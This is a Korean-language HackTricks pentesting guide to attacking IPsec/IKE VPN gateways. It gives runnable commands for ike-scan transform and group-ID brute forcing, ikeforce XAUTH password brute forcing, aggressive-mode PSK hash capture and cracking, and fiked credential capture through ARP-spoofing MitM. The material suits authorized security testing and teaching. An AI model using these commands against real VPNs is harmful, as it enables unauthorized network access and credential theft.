500/udp - Pentesting IPsec/IKE VPN
Reading time: 12 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
IPsec는 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는(원격 액세스) 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
두 지점 간의 보안 협정(SA) 수립은 IKE에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다:
- 1단계: 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 공격 모드를 사용합니다.
- 1.5단계: 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
- 2단계: 이 단계는 ESP 및 AH로 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다.
기본 포트: 500/udp
nmap을 사용하여 서비스를 발견합니다.
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
유효한 변환 찾기
IPSec 구성은 하나 또는 몇 개의 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. 각 변환은 DES 또는 3DES와 같은 암호화 알고리즘, SHA 또는 MD5와 같은 무결성 알고리즘, 사전 공유 키와 같은 인증 유형, Diffie-Hellman 1 또는 2와 같은 키 배포 알고리즘, 그리고 28800초와 같은 수명을 포함하는 여러 속성을 포함합니다.
따라서, 서버가 당신과 통신할 수 있도록 유효한 변환을 찾는 것이 첫 번째 작업입니다. 이를 위해 ike-scan 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 여덟 개의 변환이 포함된 단일 제안으로 게이트웨이에 패킷을 전송합니다.
응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
이전 응답에서 볼 수 있듯이 AUTH라는 필드가 있으며 값은 PSK입니다. 이는 VPN이 사전 공유 키를 사용하여 구성되었음을 의미합니다(이는 펜테스터에게 정말 좋습니다).
마지막 줄의 값도 매우 중요합니다:
- 0 returned handshake; 0 returned notify: 이는 대상이 IPsec 게이트웨이가 아님을 의미합니다.
- 1 returned handshake; 0 returned notify: 이는 대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨을 의미합니다(유효한 변환은 출력에 표시됩니다).
- 0 returned handshake; 1 returned notify: VPN 게이트웨이는 허용 가능한 변환이 없을 때 알림 메시지로 응답합니다(일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
그런 다음, 이 경우 우리는 이미 유효한 변환을 가지고 있지만 3번째 경우에 있다면 유효한 변환을 찾기 위해 조금 브루트 포스해야 합니다:
먼저 가능한 모든 변환을 생성해야 합니다:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
그런 다음 ike-scan을 사용하여 각각을 무차별 대입 공격합니다(이 과정은 몇 분이 걸릴 수 있습니다):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
브루트 포스가 작동하지 않는다면, 서버가 유효한 변환에 대해서도 핸드쉐이크 없이 응답하고 있을 수 있습니다. 그럼, 공격 모드를 사용하여 같은 브루트 포스를 시도해 볼 수 있습니다:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
희망적으로 유효한 변환이 반환됩니다.
같은 공격을 iker.py를 사용하여 시도해 볼 수 있습니다.
ikeforce를 사용하여 변환을 무작위로 시도해 볼 수도 있습니다:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
DH 그룹: 14 = 2048비트 MODP 및 15 = 3072비트
2 = HMAC-SHA = SHA1 (이 경우). --trans
형식은 $Enc,$Hash,$Auth,$DH입니다.
Cisco는 DH 그룹 1과 2를 사용하지 말 것을 권장합니다. 왜냐하면 이들은 충분히 강력하지 않기 때문입니다. 전문가들은 자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다. 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들은 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 실시간으로 암호화된 데이터를 읽을 수 있습니다.
서버 지문 인식
그런 다음, ike-scan을 사용하여 장치의 공급업체를 발견하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 수신된 메시지와 일치하는 응답 패턴 간의 시간 차이를 분석하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 Vendor ID (VID) 페이로드를 사용할 것입니다.
필요한 경우 유효한 변환을 지정하십시오 (using --trans)
IKE가 공급업체를 발견하면 이를 출력합니다:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
이것은 nmap 스크립트 _ike-version_을 사용하여 달성할 수 있습니다.
올바른 ID (그룹 이름) 찾기
해시를 캡처하려면 유효한 변환이 필요하며, 이는 공격 모드를 지원하고 올바른 ID (그룹 이름)를 가져야 합니다. 유효한 그룹 이름을 알지 못할 가능성이 높으므로, 이를 무차별 대입해야 합니다.
이를 위해 두 가지 방법을 추천합니다:
ike-scan을 사용한 ID 무차별 대입
먼저, 해시를 수집하기 위해 가짜 ID로 요청을 시도해 보십시오 ("-P"):
ike-scan -P -M -A -n fakeID <IP>
해시가 반환되지 않으면, 이 브루트 포스 방법이 작동할 가능성이 높습니다. 해시가 일부 반환되면, 이는 가짜 ID에 대해 가짜 해시가 반환될 것임을 의미하므로 이 방법은 ID를 브루트 포스하는 데 신뢰할 수 없습니다. 예를 들어, 가짜 해시가 반환될 수 있습니다(이는 최신 버전에서 발생합니다):
하지만 제가 말했듯이, 해시가 반환되지 않으면 ike-scan을 사용하여 일반 그룹 이름을 브루트 포스해 보아야 합니다.
이 스크립트는 가능한 ID를 브루트 포스하려고 시도하며 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
브루트 포스하기 위해 일반 그룹 이름의 ikeforce 사전 또는 seclists의 사전을 사용할 수 있습니다:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Iker로 ID 브루트포스하기
iker.py 또한 ike-scan을 사용하여 가능한 그룹 이름을 브루트포스합니다. 이 도구는 ike-scan의 출력에 기반하여 유효한 ID를 찾는 자체 방법을 따릅니다.
ikeforce로 ID 브루트포스하기
ikeforce.py는 ID를 브루트포스하는 데 사용할 수 있는 도구입니다. 이 도구는 유효한 ID와 비유효한 ID를 구별하는 데 사용할 수 있는 다양한 취약점을 악용하려고 시도합니다 (거짓 긍정 및 거짓 부정이 발생할 수 있으므로 가능하면 ike-scan 방법을 사용하는 것을 선호합니다).
기본적으로 ikeforce는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 전송합니다.
- 첫 번째 방법은 Dead Peer Detection DPD에 대한 정보를 검색하여 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다).
- 두 번째 방법은 각 시도에 대해 전송된 응답의 수를 확인하는 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
- 세 번째 방법은 잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는 것입니다.
- 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, ikeforce는 서버를 브루트포스하고 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인하려고 시도합니다.
명백히, ID를 브루트포스하는 목표는 유효한 ID를 가질 때 PSK를 얻는 것입니다. 그런 다음, ID와 PSK를 사용하여 XAUTH를 브루트포스해야 합니다 (활성화된 경우).
특정 변환을 발견한 경우, 이를 ikeforce 명령에 추가하십시오. 여러 변환을 발견한 경우, 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다 (작동하는 변환이 나올 때까지 모두 시도해야 합니다).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): VPN 클라이언트와 서버 간의 연결을 스니핑하여 유효한 사용자 이름을 얻는 것도 가능합니다. 클라이언트 ID를 포함하는 첫 번째 공격 모드 패킷이 평문으로 전송되기 때문입니다.
Capturing & cracking the hash
마지막으로, 유효한 변환과 그룹 이름을 찾았고 공격 모드가 허용된다면, 크랙 가능한 해시를 매우 쉽게 가져올 수 있습니다:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
해시는 _hash.txt_에 저장됩니다.
psk-crack, john (ikescan2john.py 사용) 및 hashcat을 사용하여 해시를 크랙할 수 있습니다:
psk-crack -d <Wordlist_path> psk.txt
XAuth
공격 모드 IKE와 **사전 공유 키(PSK)**는 일반적으로 그룹 인증 목적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 사용자 인증 계층을 도입합니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 또는 유사한 시스템과 같은 서비스를 활용합니다.
IKEv2로 전환하면 **EAP (확장 인증 프로토콜)**이 XAuth 대신 사용자 인증을 위해 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내 인증 관행의 진화를 강조합니다.
로컬 네트워크 MitM을 통한 자격 증명 캡처
따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다(스니핑을 위해 IKE 트래픽을 fiked
로 리디렉션해야 하며, 이는 ARP 스푸핑의 도움으로 수행할 수 있습니다, 자세한 정보). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처합니다:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
또한, IPSec을 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단하십시오. IPSec 터널을 설정할 수 없는 경우 트래픽이 평문으로 전송될 수 있습니다.
ikeforce를 사용한 XAUTH 사용자 이름 및 비밀번호 무차별 대입
XAUTH를 무차별 대입하기 위해 (유효한 그룹 이름 id와 psk를 알고 있을 때) 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다.
유효한 변환을 하나 이상 찾았다면 이전 단계와 같이 사용하면 됩니다.
IPSEC VPN 인증
Kali에서 VPNC는 IPsec 터널을 설정하는 데 사용됩니다. 프로파일은 디렉토리 /etc/vpnc/
에 위치해야 합니다. 이 프로파일은 vpnc 명령을 사용하여 시작할 수 있습니다.
다음 명령 및 구성은 VPNC로 VPN 연결을 설정하는 과정을 보여줍니다:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
이 설정에서:
[VPN_GATEWAY_IP]
를 VPN 게이트웨이의 실제 IP 주소로 교체합니다.[VPN_CONNECTION_ID]
를 VPN 연결의 식별자로 교체합니다.[VPN_GROUP_SECRET]
를 VPN의 그룹 비밀로 교체합니다.[VPN_USERNAME]
및[VPN_PASSWORD]
를 VPN 인증 자격 증명으로 교체합니다.[PID]
는vpnc
가 시작될 때 할당될 프로세스 ID를 나타냅니다.
VPN을 구성할 때 자리 표시자를 교체할 때 실제 안전한 값을 사용해야 합니다.
참고 자료
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.